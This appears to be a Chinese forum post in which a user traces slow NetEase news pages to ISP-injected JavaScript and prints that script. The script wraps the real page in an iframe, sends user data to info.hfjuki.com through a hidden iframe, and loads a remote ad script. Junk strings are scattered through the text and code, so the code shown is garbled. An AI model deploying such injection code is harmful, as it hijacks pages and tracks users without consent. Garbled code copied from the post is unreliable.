|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 ' V- I; p- w. K* B" J
3 R* Z) B% }3 a: Y3 S" H上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了% d \# {' O) H/ j
8 T: j' ], V. G5 {7 Y, K" v接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}0 }/ b/ A6 |1 u2 s7 d
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197
8 X$ `% }8 g( L: o5 z% g" h. n5 _ Y8 _- n0 M
顺便查下ip138:
3 N: X3 B) Q* Z: y) [8 o( J/ z3 y. F/ q% D1 }8 m! z8 p2 L- u
这是那段js里面的代码,好象是个半成品还没写入广告数据:' i5 r" S8 e% w' l- j" F* K
- function locationSearch() {/ T' S5 K1 x, _4 H. S; a6 m8 M- G
- var s = getMainJs();
, I* p0 b4 ]0 m" _ - if (s == null) {
* i5 j9 X& Q6 B1 g - location.reload();( T. s, |5 [1 f* v) U& Q
- }7 V5 [" ^- C; B
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);7 t$ e- J8 q2 G$ r( }5 U
- }- R2 O8 @6 M7 x# I9 r1 l4 j; N. `
- g3 r$ q6 Y+ r [0 {- a; A- function getParameter(name, paraStr) {3 N# `( v: p* {" ^
- var result = "";1 f- O6 Z- i* Q& a# O( A
- var str = "&" + paraStr.split("?")[1];
2 U o! i8 D( {( G# \7 m/ a( [ - var paraName = "&" + name + "=";
/ v, G$ V q3 H1 D" | - if (str.indexOf(paraName) != -1) {
9 v: L0 B* q! m9 \0 } - if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {7 Q% n) \+ p% K( W I {% a( r
- var TmpStr = str.substring(str.indexOf(paraName), str.length);
1 T2 {4 K1 |" z* P - result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(8 `1 H" t9 d$ o G! H: ~, ?" A& ]
- 1, TmpStr.length).indexOf("&")
! Q9 V% g/ ?+ t, A; O - - TmpStr.indexOf(paraName) + 1);, K6 |( h0 |: Z& S8 {) d; G
- } else {
1 e* s$ x7 j9 A; @, k' H" @5 @ - result = str.substring(str.indexOf(paraName), str.length);
/ {- u; c( X T+ `* z - }7 Y9 o4 `# K9 t$ O' t
- 4 V& n8 M. `5 f* @7 p
- result = result.substring(result.indexOf("=") + 1, result.length);
7 r6 ?6 z7 O& I( i3 _% ^ - } else {
9 A. e5 n! {+ q% K! s - result = "No such parameter";
- `$ S# T+ \2 i( F9 L - }3 K" B! s: A" [4 y7 O9 H
- return (result.replace("&", ""));
% ]3 h8 B8 y# b( z) ~ - }
* b y! `7 q8 ^5 r9 a1 m - 6 _' }2 B" o5 r2 V2 P
- function getMainJs() {
/ T% p" A" t( |, O - var scripts = document.getElementsByTagName("script");
1 W1 e" [+ Z) I, m. a - var s = null;
8 i& h2 _/ ?$ ?% W4 O- }" @# D - for (var i = 0; i < scripts.length; i++) {' G8 Q3 ], i1 G# n
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {7 `9 x; r# L+ E7 n
- s = scripts[i];
1 U6 K, k& P% ? - break;7 t- r" D' H7 b; O3 l5 g& p; t& N
- }- h, \5 Q( h- g# P5 z
- }8 f3 q Y& @/ F! X9 l6 q
- return s;
+ N) S( ^9 _6 L8 v% x9 O! p - }
* k# l7 G; O f3 R6 v# {, ~: f
+ x; @' G3 Y# B& x- function appendParam(oStr, aStr) {
( S5 b5 ]4 k( V' U% X - if (oStr.indexOf('?') > 0) {
% K) C6 X! U- H$ L( X - oStr = oStr + "&" + aStr;
3 d' F. b0 c6 a7 k+ ` - } else { w' z; N) A% r* W2 L
- oStr = oStr + "?" + aStr;
% s9 g7 |! r( v - }
" p) Y$ S! B+ M/ x8 J. @( O - return oStr;
& F3 t9 N# M: m; w. P( I - }; P5 I4 B1 @! y. P: N
- 3 h% P- q& q; o& i
- window.onerror = function() {+ q2 k$ S8 V2 m% Z* P3 k0 `
- };+ R) |: m3 _3 v* p6 ~ j
, K1 I ?5 I1 ~- f. q' `- var g_titleTime = 0;# ]7 w! `! d% l$ B$ |
- function setTcTitle() {, Z3 m: Y. V5 t- r
- if (undefined == document) {
2 b! p0 a a- o/ { - g_titleTime++;
?' C3 q% b8 [% ? v' \, \" [ - setTimeout("setTcTitle();", 1000);- M9 R u; W( F
- return;
# x9 z5 L% h w: p: Z9 q - }! s- d+ ]5 P0 B" V: J7 _2 O6 y5 g
$ p& i8 n* Z; O& F) n, `# c- var doc; O/ M4 F" \" f5 K2 ], d
- try {
' o0 L0 \6 P6 U - if (document.all) {
3 G, v( a1 U3 p; t f - doc = document.frames["cn"].document;
' E# q3 ?/ s* o! S. S, q( C# e( O, Y1 g1 ~ - } else {; d( L& H7 m9 J! y8 j+ }
- doc = document.getElementById("cn").contentDocument;; \1 d* B! q# L. C& _( _8 I
- }3 p/ D- a4 S) x. Z" ^8 Y
- } catch (ex) {! R' E/ u/ w/ L3 ~: w' w% H
- }
& S' X9 Y6 f3 i k, Z+ @ - & C2 ~+ T/ z5 v+ U; W) J
- if (g_titleTime < 5
- ~( I) W: }7 C2 X7 | - && (undefined == doc || undefined == doc.title || "" == doc.title)) { K# A! d& {# C/ u1 _ b4 U0 b
- g_titleTime++;7 K3 R; ]/ A! T. O: i% g* H
- setTimeout("setTcTitle();", 1000);
& _6 R7 n% k& @$ N# A G - return;
8 N. z5 |' M$ C! G6 s w+ j# Z0 q - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
5 F6 K4 p( ?2 c; L0 j - document.title = doc.title;
$ q9 W g. Y7 b: ]$ g4 X - setTcAdvVisible();
' D( Y! ^% L% n8 f; |" T) e: E0 ] - }# ], n3 {' M4 a4 g: e
- }
6 e' T# K9 r. Q% j+ x, L! r - % L# l# Z8 N: L" z: O; {% D/ v
- setTimeout("setTcTitle();", 1000);9 O/ s0 q9 p4 C7 `5 m4 C9 `- w+ K
- |( x9 _- `/ @* c/ m' m5 j- var g_isHaveVisible = false;
; |4 n$ `- @! }; |* Q3 K - function setTcAdvVisible() {# b* O) z @: m* `
- if (undefined != document && undefined != document.getElementById("addiv")9 a* o* q2 p/ z% M0 e
- && !g_isHaveVisible) {# ]3 w' ]5 {# F% u0 i
- document.getElementById("addiv").style.visibility = 'visible';* y- v+ u" _0 u5 u
- document.getElementById("addiv").style.display = 'block';0 h/ q+ V8 _; `' h( x$ h
- g_isHaveVisible = true;) U% D. m5 Y" N5 W( U5 C
- }
9 \+ B7 q' `& X q" {8 F/ } - }
' x' I B4 ]. C' Z+ Y7 ]& \ - 2 i: F# B P) J* |4 I( R r
- function UrlAnalyzer() {# u( [% ^# A) d2 K
- this.divda = "";
( d5 X: K' B7 I) _+ t - this.tctype = "";
# s/ Q% [) ]( k* X - this.radius = "";& R- d v( \5 {2 p
- this.rlu = "";. u) O" q8 m$ b
- }0 I( B0 N: ]4 {9 N8 ^2 \3 D
3 G9 k9 H& Y* ^; q' C$ j- @- r- UrlAnalyzer.prototype.initParameters = function() {
3 T" Z1 ~ x m( E' P8 c - var paraStr = locationSearch();& A' Q4 d% R) j
- this.rlu = getParameter("lruedct", paraStr);
C. y- J" s% M) ] - this.divda = getParameter("divda", paraStr);
E, U. C: i) z$ [ - this.radius = getParameter("radius", paraStr);/ Y( w" O: z. N
- this.tctype = getParameter("tctype", paraStr);
8 @# ^) @2 ?' ^( h - this.address = getParameter("address", paraStr);/ r' \; K$ w r: h
- this.usagent = getParameter("usagent", paraStr);$ v. n/ {0 f1 Z1 T# x$ F4 z9 [( q
- }- [3 N$ Z- S) ~. F- b& [( ?( d
- # [! A6 I! B7 I6 i& @, I
- UrlAnalyzer.prototype.getHtmlDoc = function() {
1 c7 D) {$ M6 Y8 z2 B( S: b - var doc;; J, x. E( y) Y
- try {' L7 f1 v6 s5 m2 I5 B- @; l
- if (document.all) {( r7 H- ?& n$ i+ B! s6 P
- doc = document.frames["cn"].document;; Z( V9 O, q* I% V" r j# n
- 1 I: g& {' d2 n/ X, p
- } else {
& {1 O* K) [# L - doc = document.getElementById("cn").contentDocument;% Q/ r8 d. b. w2 l) W
- // doc = document.getElementById("cn").contentWindow.document;- ?% \# r. G. ?4 a% `
- }' b) |4 n5 O$ \0 U, u3 S- v
- } catch (ex) {5 _+ `8 d, ?: X: p& |' e
- }! \& e3 L6 t: m0 f: u
- return doc;3 ]+ F' O3 ~7 [5 e! r# v) e
- }
3 F: d4 ]3 t3 [. M
9 n' b. v% r* D- UrlAnalyzer.prototype.setDomain = function() {
4 v0 Y* o8 d5 @+ k) g6 P3 N - if (undefined != document.title && "" == document.title)
& }, p# h" m. s, t5 R - {5 v. z" i# x+ u0 W0 x0 d, i
- var index = document.domain.indexOf(".");$ d( t( {: }* T7 u. o
- if (undefined != index && -1 != index) {) D F0 t/ e* W& x. H
- document.domain = document.domain.substring(index + 1,3 ~& W ~1 s2 }! y$ A% a$ w0 |
- document.domain.length);( `8 y0 ]8 I; I# B- ]) T. q6 K
- }% J1 o+ w: `, l) w6 M( I5 h# ^
-
2 k; |9 Y( }% Q' C& y - var doc = this.getHtmlDoc();
; U" k2 v. V) w. N' G6 D' | - if (undefined != doc && undefined != doc.title && "" != doc.title) {, |6 N9 G, c0 m2 U7 }
- document.title = doc.title;& _* m+ y/ s1 c$ }+ N) q. k" i9 I
- setTcAdvVisible();
. C$ e3 ]* E" d! }9 L$ H - }
; G0 Q2 l) e* l - }
+ k1 ?, x3 H# h% ]# H. E/ c7 @ - }
+ }0 `, `+ H0 H1 b( [: c - + r6 o3 h/ B2 r" l* _ L
- UrlAnalyzer.prototype.iframeCallback = function() {5 n; y9 }8 b7 g1 q& [, C
- var doc = this.getHtmlDoc();
2 l0 S& L+ x) |- J% d9 n8 x" p: u - if (undefined == doc || undefined == doc.title || "" == doc.title) {
9 \. d+ A9 m" N+ T* H - if (undefined != document.domain) {
: E$ P) S9 M" t8 @
$ G P3 i! A% {/ V4 O! `6 _- var self = this;
2 \8 Q- e; F) p( Z* n) c6 Q - setTimeout(function(){self.setDomain.call(self, null)}, 1000);
1 v" N- v+ G4 W6 {) D - // var index = document.domain.indexOf(".");
x; o! x9 Q9 X8 B9 W& [4 C' a - // if (undefined != index && -1 != index) {
, V. v9 b* ]" U% W S9 B- |8 P - // document.domain = document.domain.substring(index + 1,
. k7 g9 a3 p; b7 ^) j - // document.domain.length);3 `. w: x1 y/ a1 N7 R8 x
- // }
# K. Y% r* X: L: F9 Y( a - //! x& e/ d, e# C5 z
- // var doc = this.getHtmlDoc();/ o" ~3 q8 M0 ?. \/ L) ?/ q1 C( y
- // if (undefined != doc && undefined != doc.title && "" !=
/ e3 T( j* s5 S9 x: J( @: \; i - // doc.title) {
6 D* V1 ^ ~6 v& L } - // document.title = doc.title;
" B& Z% j: O' L5 l( O! o - // setTcAdvVisible();, u. K; e- M+ q* }5 h$ Q2 w
- // }$ k. W5 O( _# R- N0 z, ^- \0 d$ w
- }
/ F- d5 z3 P2 R7 a# e5 } - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
( \$ X, k& U- p$ j - document.title = doc.title;
& ]; t0 P4 g B9 m6 X; v - setTcAdvVisible();
1 K0 \# |( z4 k4 T- v - }8 C8 s8 B @7 k8 t; H
- }
/ f, K: f7 m a& g; R0 D" w
4 p& u8 w$ N4 f8 l t k1 B- UrlAnalyzer.prototype.executeHtmlContext = function() {) S, R* N* ^2 v, J+ l
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda. w; l# D% V- ^. d4 t/ ~4 Z
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
( y* y0 }* L0 J+ ? - 5 O" Y- R- W1 V# P+ D' U
- var htmlStr = "<iframe src="" + staUrl
& L3 b# b: K/ L& ] - + "" style="display:none"></iframe>";
: x! X$ T: x" `$ x" G9 M9 B0 O - ; I! m9 t5 Z! m8 }
- var advUrl = htmlStr# Q! g1 b ]& C Y! Y
- + "<script src="http://c2.sxite.com:8060/center?advId="5 _$ S, K, ]/ A& P% G) K
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";9 T! d3 U7 h& [$ Y. ]
- document.write(advUrl);5 a( V0 j0 Q* U, k4 t* F5 w. N4 u V6 V
- 6 A6 Z: {9 _% o$ f
- var self = this;- ]6 X$ d' x6 ?, O/ E) S
- var iframe = document.getElementById("cn");! t* ~& K: C2 Y; x9 e" i, b
- if (iframe.attachEvent) {
5 C* G, ^' \9 j$ e9 a - iframe.attachEvent("onload", function() {
! B8 m8 M& v( l - self.iframeCallback.call(self, null);
: g6 j1 X! D" b. \# L3 g - });& U/ e' ?0 o9 k0 ^
- } else {
. [; K! d' x0 h4 s - iframe.onload = function() {
$ p$ W, ?# q' O4 R# [: v - self.iframeCallback.call(self, null);
! f! `0 W. {' V - }
. f/ H2 D: S( h0 f1 `: `: e# N - }8 H* W% `' U0 w% W; x% y p- V8 _. M
- }
4 n; j" _6 ]+ ?6 C9 Z f& _ - + r) d7 }, B$ F
- UrlAnalyzer.prototype.executeMain = function() {
. L0 q, \$ h, m1 C2 s - var mainFrame = document.getElementById("cn"); P# o" Y2 Q/ N" I: C
- mainFrame.contentWindow.location.href = mainFrame.src;
1 J/ u4 y) I. w7 `' ] - this.initParameters();
# ^% F- S. h' y% V7 Z/ A0 C - this.executeHtmlContext();4 R+ d- Q/ M# `% B/ o& j1 ]
- }! @( k- S" n h2 ]
, V( M! w! U; n- var g_analyzer = new UrlAnalyzer();
7 E! _1 I1 f, e8 @6 t% v - g_analyzer.executeMain();
- a- Z: L! H$ x3 G8 Q! v
复制代码 - \2 o! M3 r0 G* {$ V$ `
: k) T; k8 w" x& X( R( ^7 K
/ g6 z' z) A; i+ |4 E$ u. p6 V3 Q
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|